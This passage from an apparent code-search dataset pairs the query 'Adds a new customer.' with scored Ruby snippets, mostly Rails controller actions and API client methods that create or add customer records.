?\",params[:id]).each{ |c|\n c.destroy\n }\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "565722fd055d09ded52bde4aecda109a", "score": "0.6009016", "text": "def destroy\n @stairway.destroy\n respond_to do |format|\n format.html { redirect_to stairways_url, notice: 'Stairway was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "887432e4b57a71666f432ad34958877c", "score": "0.60089296", "text": "def destroy\n @solicitud = Solicitud.find(params[:id])\n @solicitud.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "title": "" } ]
0e120d8f27ac13a30a2b0528f248c7e3
Adds a new customer.
[ { "docid": "3baf779792490da4fbf97b920a539d15", "score": "0.0", "text": "def v1_customers_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomersApi.v1_customers_post ...\"\n end\n # resource path\n local_var_path = \"/v1/customers\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'customer'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomersApi#v1_customers_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "9fb137c943cb3c1c5e84788e5b6c96d8", "score": "0.8483029", "text": "def add_customer name, id_proof, phone_number, address1, city, state, country, zipcode\n customer = Customer.new(name, id_proof, phone_number, address1, city, state, country, zipcode)\n @customer << customer # Adding customer to customer list\n end", "title": "" }, { "docid": "315f3c396df1bcedf2aa4a483a204250", "score": "0.8121303", "text": "def add_customer\n\t\t\tunless duplicate?\n\t\t\t\t@@customers << self\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "ee4d037a965caddfb7865447c821f6ff", "score": "0.81040347", "text": "def add_customer(options = {})\n request = build_request(__method__, options)\n commit(__method__, request)\n end", "title": "" }, { "docid": "b15cba8f3d1f1e239ec9936f287ec74b", "score": "0.80140984", "text": "def customer_add(body, opts = {})\n data, _status_code, _headers = customer_add_with_http_info(body, opts)\n return data\n end", "title": "" }, { "docid": "0529e9fd882e8eb2b26d858b1b848a7c", "score": "0.78428036", "text": "def add\n customer_name = @view.ask_name\n customer_address = @view.ask_address\n new_customer = Customer.new({name: customer_name, address: customer_address})\n @customers_repository.add(new_customer)\n end", "title": "" }, { "docid": "7ecea9621e6918566125d6597107f124", "score": "0.7829351", "text": "def add_customer(customers, opts = {})\n data, _status_code, _headers = add_customer_with_http_info(customers, opts)\n data\n end", "title": "" }, { "docid": "5a75e5cf3f2e6b2cdcc81a726e22f2a8", "score": "0.7780766", "text": "def add_a_customer\n if Customer.find_by_name(@name).nil?\n @@customers << self\n else \n raise DuplicateCustomerError, \"DuplicateCustomerError, '#{@name}' already exists.\"\n end \n end", "title": "" }, { "docid": "f9800cc2ffa38e8dcf5e2a575ca7577a", "score": "0.7756886", "text": "def create_customer(options = {})\n post = {}\n\n add_customer_data(post, options)\n add_address_data(post, options)\n\n commit(:post, '/customers', post)\n end", "title": "" }, { "docid": "72e179129c7fab87ed020666ae3a4ffc", "score": "0.77317166", "text": "def create_customer(customer)\n commit(\"customer\", customer)\n end", "title": "" }, { "docid": "34e59a18dc93d3f576e055cb75da3f23", "score": "0.7729936", "text": "def add\n # ask user for name and price\n attributes = {\n name: @view.ask_for_string(:name),\n address: @view.ask_for_string(:address)\n }\n # make new customer object\n # pass that to the repository\n @customers_repository.add(Customer.new(attributes))\n end", "title": "" }, { "docid": "3f056824fd94f1077f3397c87ebda22f", "score": "0.764074", "text": "def create_customer(options={})\n customer = options.kind_of?(Hash) ? Customer.new(options) : options\n Customer.new(post(\"/customer/add\", customer.to_source_hash))\n end", "title": "" }, { "docid": "943062b01e1f85902973527953b72592", "score": "0.76170933", "text": "def add_to_customers\n\t\tif cust_name_exists?(@name)\n\t\t\thandle_dup_cust_error(@name)\n\t\telse\n\t\t\t@@customers << self\n\t\tend\n\tend", "title": "" }, { "docid": "01a01f9eb9680e6a7acec1695014c411", "score": "0.75721574", "text": "def create_customer(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n response = post(\"customers\",options)\n if response['success']\n response['results']['customer']\n else\n response\n end\n end", "title": "" }, { "docid": "8c6e4a72dd981986e09adebe9313eaba", "score": "0.75058365", "text": "def create_customer(options = {})\n build_response(make_request(:post, url: 'customers', options: options))\n end", "title": "" }, { "docid": "6aa592f6ee8eb84791e7c06ae39ebe35", "score": "0.74650246", "text": "def add_to_customers\n @@customers << self\n end", "title": "" }, { "docid": "92014ed24d2877fcb82a3a53098fec15", "score": "0.74607146", "text": "def add(customer_options = {}, subscription_options = {})\n create(nil, customer_options, subscription_options)\n end", "title": "" }, { "docid": "d2a2f3484e2f08ffaff040fa8e11f952", "score": "0.7359484", "text": "def add_to_customers\n \t @@customers << self\n \tend", "title": "" }, { "docid": "545288e772bfa5d239b88f93494c25a4", "score": "0.72557664", "text": "def add_to_customers\n if @@customers.map(&:name).include? @name\n raise DuplicateCustomerError, \"#{@name} already exists.\"\n else\n @@customers << self\n end\n end", "title": "" }, { "docid": "6dc360a037f2d7f2132ddcf17943cee3", "score": "0.7255192", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to account_customer_path(@account, @customer), notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "acadb386438d650228ed8d3c4f8d2df2", "score": "0.7254812", "text": "def add_to_customers\n if @@customers.to_s.include? @name\n raise DuplicateCustomerError, \"'#{name}' already exists.\"\n else\n @@customers << self\n end\n end", "title": "" }, { "docid": "ed0ddb3a0089e12865720976baedaf82", "score": "0.7246018", "text": "def new_customer()\n Customer.new(self)\n end", "title": "" }, { "docid": "659e1f62896da6c34c8498e83de9a7e9", "score": "0.72205174", "text": "def create\n @customer = current_user.customers.build(params[:customer])\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to user_customer_path(current_user, @customer), notice: 'Customer was successfully created.' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e248637829993f5f6adf54016b727f2", "score": "0.72164595", "text": "def add_customer_to_cs(customer, cs)\n cs[:customers].push(customer) \n end", "title": "" }, { "docid": "27e7fc90f668d41596a2c68d9eaceb3a", "score": "0.7202839", "text": "def customer_add(params)\n\n params =\n add_missing_params(\n params,\n :username,\n :password,\n :confirm_password,\n :email,\n :first_name,\n :last_name,\n :address,\n :city,\n :state,\n :zip,\n :country,\n :phone,\n :website,\n :company)\n\n validate_params(params);\n\n response = call_sendgrid('customer.add', @api_user, @api_key, params);\n end", "title": "" }, { "docid": "d4223a62fbbd6876f9a8789775300d7c", "score": "0.7174841", "text": "def add_to_customers()\n\t\t#we validate if we have customers in the array, if so we check if the customer\n\t \t#that we want to add is already there\n\t if @@customers.count >0\n begin\n\t if Customer.customer_include_by_name?(self.name)\n raise DuplicateProductError\n else\n \t \t\t @@customers.push(self)\n \t\t\t end\n rescue\n puts \"#{self.name} already exists.\"\n end\n\t\t else\n\t @@customers.push(self)\n\t end\n\tend", "title": "" }, { "docid": "a3ccd045d1c32e4c1c9d8cb4e5b13472", "score": "0.7171607", "text": "def add_customer\n global_check_permission(:add_customers)\n end", "title": "" }, { "docid": "f5829d017ed2af195d69b076dae6d6c8", "score": "0.7171172", "text": "def add_customer_id\n if self.customer_id.nil?\n customer = Stripe::Customer.create(:email => self.email)\n self.customer_id = customer.id\n self.save\n end\n end", "title": "" }, { "docid": "0405ec742736215edb337dcd198330da", "score": "0.7152021", "text": "def add_customer opts\n return unless @customer\n\n address = @customer.ship_address\n # address = nil\n if address\n opts[:customer] = {\n name: {\n first: address.firstname,\n last: address.lastname\n },\n email: @customer.email,\n number: @customer.flow_number,\n phone: address.phone\n }\n\n streets = []\n streets.push address.address1 unless address.address1.blank?\n streets.push address.address2 unless address.address2.blank?\n\n opts[:destination] = {\n streets: streets,\n city: address.city,\n province: address.state_name,\n postal: address.zipcode,\n country: (address.country.iso3 rescue 'USA'),\n contact: opts[:customer]\n }\n\n opts[:destination].delete_if { |k,v| v.nil? }\n end\n\n opts\n end", "title": "" }, { "docid": "0ee54437f705077d98a63eb0b772f9d4", "score": "0.711496", "text": "def create_customer\n customer = Stripe::Customer.create(email: email)\n self.customer_id = customer.id\n end", "title": "" }, { "docid": "c51e7b5a153b68ba7bbb40afad760dfd", "score": "0.7089492", "text": "def customer_create(opts = {})\n data, _status_code, _headers = customer_create_with_http_info(opts)\n return data\n end", "title": "" }, { "docid": "ea88b47fd52e5f5b1b01e81a0f5edf48", "score": "0.7082424", "text": "def create_customer(name:, **options)\n create_contact(name: name, type: 'CUSTOMER', **options)\n end", "title": "" }, { "docid": "291d5c1d8c7e608dce819866b553f997", "score": "0.70814466", "text": "def add_customer(options={})\n create_request(\"nonpci\", ADD_CUSTOMER_ACTION) do |xml|\n \t xml['px'].AddCustomer do\n xml['px'].DigitalKey DirectDebit::Ezidebit::api_digital_key\n options.each { |key,value| xml['px'].send(key, value)}\n end\n end\n response = request_it!\n parse(response, \"add_customer_response\")\n end", "title": "" }, { "docid": "10cf0da9d223494712c2478adc28c335", "score": "0.7058125", "text": "def add_customer\n customer_number = params[:customer_number]\n\n if customer_number.nil?\n @response[:status] = -1\n @response[:msg] = \"Customer number parameter missing.\"\n return render :json => @response\n end\n customer_number_hash = MD5.new(customer_number).hexdigest\n\n status = @params_verifier.add_customer(customer_number, customer_number_hash)\n\n if status\n begin\n @params_verifier.write_params_to_file()\n rescue Exception => e\n @response[:status] = -2\n @response[:msg] = \"Failed to update customer. #{e}\"\n else\n @response[:status] = 0\n @response[:msg] = \"Customer added\"\n end\n else\n @response[:status] = -1\n @response[:msg] = \"Customer already present.\"\n end\n\n render :json => @response\n end", "title": "" }, { "docid": "a40b0d421975555e754b6d6128e7906b", "score": "0.70569885", "text": "def customer_new\n\t @customer = Customer.new\n\tend", "title": "" }, { "docid": "768258fd3f84132bc56c296c23e32695", "score": "0.70385015", "text": "def create\n \n creating, @customer = Cruds::CrudCustomerService.create(customer_params)\n \n if creating\n redirect_to @customer, notice: \"Customer was successfully created.\"\n else\n render :new, status: :unprocessable_entity \n end\n\n end", "title": "" }, { "docid": "d680def7e7ff611606c5b1e012df4edc", "score": "0.70176923", "text": "def create\n @customer = Customer.new(customer_params)\n if @customer.save\n # SQL: INSERT INTO customers (name, email, account_type, created_at, updated_at) VALUES (?, ?, ?, ?, ?)\n flash[:notice] = \"Created #{@customer.name}\"\n redirect_to customer_path(@customer), id: @customer.id\n else\n flash[:alert] = \"Failed to create customer: #{@customer.errors.full_messages.to_sentence}\"\n render :new\n end\n end", "title": "" }, { "docid": "9a3c4372881330745441a986ac5cd557", "score": "0.70051754", "text": "def create\n @customer = current_user_company.customers.build(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: t('.customer_was_successfully_created') }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1241a6fa158083b571073f7062386328", "score": "0.6961048", "text": "def create_customer(data)\n MercadoPago::CustomCheckout::Customers.create(@custom_checkout_access_token, data)\n end", "title": "" }, { "docid": "238da214b7aaf17b49205491ac2f4e10", "score": "0.6959836", "text": "def create\n @customer = @client.customers.create(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @customer }\n else\n format.html { render action: 'new' }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b90344332fe79cb7689a47203f81d7a7", "score": "0.69274926", "text": "def new_customer\n @customer = Customer.new\n end", "title": "" }, { "docid": "bcfe19539e4e91cdc692c4b482fda1cd", "score": "0.69254553", "text": "def create_customer(opts)\n r = req(opts.merge!(:method => 'create_customer'))\n Response.new(r)\n end", "title": "" }, { "docid": "5ad7e5249caa139bf694e6d735cfd4f8", "score": "0.69121015", "text": "def add_customer_payment_method(options = {})\n requires! options, :customer_number\n\n request = build_request(__method__, options)\n commit(__method__, request)\n end", "title": "" }, { "docid": "d2b361fb7d5c993dcc55cf8de177e7d4", "score": "0.69033724", "text": "def create\n @customer = Customer.new(customer_params)\n @customer.user_id = current_user.id\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d2b361fb7d5c993dcc55cf8de177e7d4", "score": "0.69033724", "text": "def create\n @customer = Customer.new(customer_params)\n @customer.user_id = current_user.id\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59ffb3cd108ef543fb09c79edcad9d53", "score": "0.690225", "text": "def add_customer_account\n self.create_account! unless self.account\n end", "title": "" }, { "docid": "1e7d9bfc7b8356715775fa95c253f9e4", "score": "0.689477", "text": "def create_customer\n customer = Customer.new(params)\n if customer.push_errors.empty?\n Customer.create(customer)\n else\n @errors << customer.push_errors\n end\n end", "title": "" }, { "docid": "0d2fe0b5b0116eff92a6f6450ac13ee1", "score": "0.6892396", "text": "def insert_customer(customer, opts = {})\n data, _status_code, _headers = insert_customer_with_http_info(customer, opts)\n data\n end", "title": "" }, { "docid": "a2221c06db59e7ae4149d3e92d964c6a", "score": "0.6890489", "text": "def create_customer(body, opts = {})\n data, _status_code, _headers = create_customer_with_http_info(body, opts)\n return data\n end", "title": "" }, { "docid": "5a158c5ba2cfa74b60e069de3f19ecae", "score": "0.6880336", "text": "def create\n @customer = Customer.new(cust_params)\n \n if @customer.save\n redirect_to \"/contracts/new?customerID=\" + String(@customer.CustomerID)\n else\n render 'new'\n end\n end", "title": "" }, { "docid": "6b331d65fa0bb871a722131321b1d7d5", "score": "0.6865679", "text": "def create_customer(info={})\n response = Hashie::Mash.new(post(\"/customers.json\", :body => {:customer => info}))\n return response.customer if response.customer\n response\n end", "title": "" }, { "docid": "9294a7b1279eb83a410f88031c47b660", "score": "0.68560386", "text": "def create\n @customer = Customer.new(customer_params)\n @customer.deleted = false # nieuwe klanten expliciet op niet-verwijderd zetten\n\n if @customer.save\n # aanmaken gelukt, schrijft logentry en toon overzicht\n log self.class.name, LogEntry::INFORMATIONAL, \"Klant #{@customer.name}, id #{@customer.id}, is aangemaakt door #{current_admin_user.username}\"\n redirect_to admin_customers_path\n else\n # aanmaken niet gelukt, toon formulier opniew (met foutmelding)\n render :new\n end\n end", "title": "" }, { "docid": "c2c1bcac17ccdfebb63c6f8aa91a2daa", "score": "0.68516785", "text": "def add_customer_details(options = {})\n request = build_soap_request do |xml|\n xml['px'].AddCustomer do\n add_authentication(xml)\n address = options[:billing_address] || options[:address]\n xml['px'].YourSystemReference options[:order_id]\n xml['px'].LastName options[:last_name]\n xml['px'].FirstName options[:first_name]\n xml['px'].AddressLine1 address[:address1] if address[:address1]\n xml['px'].AddressLine2 address[:address2] if address[:address2]\n xml['px'].AddressSuburb address[:city] if address[:city]\n xml['px'].AddressState address[:state] if address[:state]\n xml['px'].AddressPostCode address[:zip] if address[:zip]\n xml['px'].EmailAddress options[:email] unless empty?(options[:email])\n xml['px'].MobilePhoneNumber options[:mobile_phone] unless empty?(options[:mobile_phone])\n xml['px'].ContractStartDate options[:start_date]\n xml['px'].SmsPaymentReminder 'NO'\n xml['px'].SmsFailedNotification 'NO'\n xml['px'].SmsExpiredCard 'NO'\n xml['px'].Username options[:username] unless empty?(options[:username])\n end\n end\n\n commit('AddCustomer', request, options)\n end", "title": "" }, { "docid": "7d4becd7bfe90ecfb6d6bce5705295f7", "score": "0.6849723", "text": "def add_arb_customer(xml, options)\n customer = options[:customer]\n return unless customer\n xml.tag!('customer') do\n xml.tag!('type', customer[:type]) if customer[:type]\n xml.tag!('id', customer[:id]) if customer[:id]\n xml.tag!('email', customer[:email]) if customer[:email]\n xml.tag!('phoneNumber', customer[:phone_number]) if customer[:phone_number]\n xml.tag!('faxNumber', customer[:fax_number]) if customer[:fax_number]\n add_arb_drivers_license(xml, options)\n xml.tag!('taxId', customer[:tax_id]) if customer[:tax_id]\n end\n end", "title": "" }, { "docid": "65e0489182f3be4abd41e6cf8af9f71c", "score": "0.683574", "text": "def create_customer(info={})\n response = Hashie::Mash.new(self.class.post(\"/customers.json\", :body => {:customer => info}))\n return response.customer unless response.customer.blank?\n response\n end", "title": "" }, { "docid": "e0ab7dd952c467978936817290f7842a", "score": "0.6829492", "text": "def create\n @customer = Customer.new(customer_params)\n @customer.user = current_user\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f7ed91f3978b864904d20d98ad80f803", "score": "0.68288684", "text": "def create_customer_entry\n\t\[email protected]_customer(:customer_id=>@customer_key,:subscription_id=>@subscription_id,:plan_id=>@plan.id).save!\n\tend", "title": "" }, { "docid": "ad7b61e1d049ef561d9d86b5a1b681fb", "score": "0.682354", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to admin_customers_url, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d1b5238187a525e953039f871c032f9", "score": "0.6815827", "text": "def create\n @customer = Customer.new(params[:customer])\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to new_customer_path, notice: 'Customer was successfully created.' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c43edd2acae1d41ebb682605f615aedd", "score": "0.6815017", "text": "def add_complaint\n customer = \"\"\n if params[:customer][:id].blank?\n params[:customer][:amc_type] = \"others\"\n customer = Customer.create(params[:customer])\n else\n begin\n customer = Customer.find(params[:customer][:id])\n rescue\n end\n end\n complaint_no = Customer.get_complaint_no()\n register_complaint = customer.complaints.new(params[:complaint])\n register_complaint.complaint_no = complaint_no\n register_complaint.save\n redirect_to complaint_path\n end", "title": "" }, { "docid": "1e02e87022b22892790689244eb5ccf3", "score": "0.68136865", "text": "def create_customer(user)\n customer = ::Mollie::Customer.create(\n email: user.email,\n api_key: get_preference(:api_key)\n )\n EpaycoLogger.debug(\"Created a Mollie Customer for Spree user with ID #{customer.id}\")\n customer\n end", "title": "" }, { "docid": "73bf814ede5e5dcc444ce962d0753dc2", "score": "0.6804358", "text": "def add_customer_with_http_info(customers, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CustomerApi.add_customer ...'\n end\n # verify the required parameter 'customers' is set\n if @api_client.config.client_side_validation && customers.nil?\n fail ArgumentError, \"Missing the required parameter 'customers' when calling CustomerApi.add_customer\"\n end\n # resource path\n local_var_path = '/customers'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(customers)\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Customer')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomerApi#add_customer\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "fe8ef24f5c8cc4dcf57b05967911c201", "score": "0.68019974", "text": "def create\n @customer = Customer.new(params[:customer])\n\n respond_to do |format|\n if @customer.name.nil? or @customer.name.empty?\n @customer.errors.add(:name, \"Please specify customer name\")\n end\n \n if [email protected]?\n if @customer.save\n # Success\n format.html { redirect_to customers_path, notice: 'Customer was successfully created.' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n # Display error message\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n else\n # Display error message\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4dab6ffdb3bf19cbce833d827dfc03f2", "score": "0.6792325", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to customers_path, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b4fb8e5ac46475dc1ad51346978c5df", "score": "0.6787688", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to customers_url, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e5a171ba832b2afc7d44a7fd25d8669", "score": "0.678342", "text": "def customer\n @customer = Plaid::Customer.new\n end", "title": "" }, { "docid": "e2964011c269220226e4e8fd0dead144", "score": "0.6778812", "text": "def create_customer(customer, opts = {})\n data, _status_code, _headers = create_customer_with_http_info(customer, opts)\n data\n end", "title": "" }, { "docid": "4afff936b91bb5e02feeb1899ebcaa95", "score": "0.67776334", "text": "def create_customer\n\n\t\t return customer if customer\n\n\t\t self.customer = ::Yito::Model::Customers::Customer.new\n\t\t self.customer.customer_type = :individual\n\t\t update_customer_data\n\t\t self.customer.save\n\n\t\t return customer\n\t\t end", "title": "" }, { "docid": "d5f40c2ef106d4965a3e22a22e2ccfb8", "score": "0.6764519", "text": "def create\n creating, @customer, message = Cruds::CrudCustomerService.create(customer_params)\n\n if creating\n redirect_to @customer, notice: \"Customer was successfully created.\"\n else\n render :new, notice: message\n end\n end", "title": "" }, { "docid": "82752f9a2982ad455989a796ae46647f", "score": "0.6763891", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to admin_customer_path(@customer), notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: admin_customer_path(@customer) }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "14d6a40c69a9bde902cbc0c150d67b85", "score": "0.67637956", "text": "def create\n #@customer = Customer.new(params[:customer].merge(:user_id => current_user.id))\n @customer = Customer.new(params[:customer])\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a4e4ec21deb67472f56f312cdcb727be", "score": "0.67582697", "text": "def customer(params = {})\n add_field(mappings[:customer][:email], params[:email])\n add_field(mappings[:customer][:phone], params[:phone])\n add_field('card_holder_name', \"#{params[:first_name]} #{params[:last_name]}\")\n end", "title": "" }, { "docid": "a3e92eaa18f75d3aa76bb6f794f00c9e", "score": "0.67531115", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to new_customer_path, notice: 'Customer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @customer }\n else\n format.html { render action: 'new' }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70f124ff0fdaa6a148480ec7590f8961", "score": "0.6749274", "text": "def create\n @customer = Customer.new(params[:customer])\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to customers_path, notice: 'Customer was successfully created.' }\n format.json { render json: @customer, status: :created, location: @customer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ef22b2a9168cd7a7925fd9ca947dd9a3", "score": "0.6744933", "text": "def add_customer(request, payment_method, options)\n address = options[:billing_address] || options[:address]\n\n request[:customer] = {}\n request[:customer][:email] = options[:email] || '[email protected]'\n\n if address\n request[:customer][:name] = address[:name].to_s if address[:name]\n\n request[:billingDetails] = {}\n request[:billingDetails][:email] = options[:email] if options[:email]\n request[:billingDetails][:name] = address[:name] if address[:name]\n request[:billingDetails][:company] = address[:company] if address[:company]\n request[:billingDetails][:phone] = address[:phone] if address[:phone]\n request[:billingDetails][:address] = {}\n request[:billingDetails][:address][:line1] = address[:address1] if address[:address1]\n request[:billingDetails][:address][:line2] = address[:address2] if address[:address2]\n request[:billingDetails][:address][:city] = address[:city] if address[:city]\n request[:billingDetails][:address][:state] = address[:state] if address[:state].present?\n request[:billingDetails][:address][:zip] = address[:zip].to_s if address[:zip]\n request[:billingDetails][:address][:country] = address[:country] if address[:country]\n end\n\n request[:sessionDetails] = {}\n request[:sessionDetails][:ip] = options[:ip] if options[:ip]\n end", "title": "" }, { "docid": "175b005cc348f658fe6efdd6eccd952e", "score": "0.67397773", "text": "def grab_new_customer\n unless params[:customer][:name].blank?\n c = Customer.create(params[:customer]) \n @treatment.customer_id = c.id\n end\n end", "title": "" }, { "docid": "0003ddf882ad9372f941ccd1a183f96f", "score": "0.67381525", "text": "def create\n @customer = Customer.new(customer_params)\n\n # write customer to database\n if @customer.save\n redirect_to customers_path, :notice => 'Kunde erfolgreich erstellt.'\n else\n render 'new'\n end\n end", "title": "" }, { "docid": "c61bcb7a1090babb46b8e14d1fe7bea0", "score": "0.6736864", "text": "def create\n @customer = Customer.new(allowed_params)\n if @customer.save\n flash[:notice] = \"New Customer Created\"\n redirect_to @customer\n else\n flash[:error] = @customer.errors.full_messages.to_sentence\n redirect_to new_customer_path\n end\n end", "title": "" }, { "docid": "be31a3ec0adcb4bfc5eee641c8d2e0f9", "score": "0.6723931", "text": "def create\n \t\t@customer = Customer.new( customer_params )\n\n \t\trespond_to do |format|\n \t\t\tif @customer.save\n \t\t\t\tformat.html {redirect_to @customer, notice: 'Customer was successfully created.'}\n \t\t\t\tformat.json {render json: @customer, status: :created, location: @customer}\n \t\t\telse\n \t\t\t\tformat.html {render action: \"new\"}\n \t\t\t\tformat.json {render json: @customer.errors, status: :unprocessable_entity}\n \t\t\tend\n \t\tend\n \tend", "title": "" }, { "docid": "3538654ba33a2f33fe3ce357fdb221cc", "score": "0.6719053", "text": "def create\n @customer = Customer.new(customer_params)\n respond_to do |format|\n if @customer.save\n format.json { render :json => { :code => \"201\", :description => \"Created customer\", :customer => @customer} }\n else\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4fdfc7c17f79a564f6a386ca9fb61f8", "score": "0.6713585", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0364377ff3795d490cc86a22d306b03c", "score": "0.67135614", "text": "def create(params = {})\n\t\t\t\tJuspayCheckout::ExpressCheckout.request('/customers', 'post', params)\n\t\t\tend", "title": "" }, { "docid": "e4fdfc7c17f79a564f6a386ca9fb61f8", "score": "0.6711154", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4fdfc7c17f79a564f6a386ca9fb61f8", "score": "0.6711154", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4fdfc7c17f79a564f6a386ca9fb61f8", "score": "0.6711154", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4fdfc7c17f79a564f6a386ca9fb61f8", "score": "0.6711154", "text": "def create\n @customer 